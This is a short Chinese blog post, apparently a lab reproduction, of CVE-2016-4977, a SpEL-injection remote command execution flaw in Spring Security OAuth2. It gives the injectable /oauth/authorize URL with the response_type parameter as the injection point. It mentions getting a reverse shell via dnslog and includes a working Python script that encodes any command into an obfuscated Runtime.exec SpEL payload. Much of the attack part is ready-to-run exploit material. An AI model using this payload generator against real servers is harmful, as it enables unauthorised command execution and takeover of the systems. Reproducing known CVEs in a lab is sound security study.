复现CVE-2016-4977——Spring Security OAuth2 远程命令执行漏洞

一、漏洞概述

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。


二、漏洞复现

发现页面如下:
复现CVE-2016-4977——Spring Security OAuth2 远程命令执行漏洞

poc如下:

http://your-ip:8080/oauth/authorize?response_type=[POC]&client_id=acme&scope=openid&redirect_uri=http://test

利用dnslog进行反弹shell

复现CVE-2016-4977——Spring Security OAuth2 远程命令执行漏洞

  在以下网站进行编码操作:

java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

复现CVE-2016-4977——Spring Security OAuth2 远程命令执行漏洞

 

 exp代码如下,开始执行exp

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

复现CVE-2016-4977——Spring Security OAuth2 远程命令执行漏洞

 放在poc里面执行

复现CVE-2016-4977——Spring Security OAuth2 远程命令执行漏洞

复现成功!

上一篇:微服务架构 | 7. 安全保护


下一篇:SpringCloud OAuth2搭建(学习记录)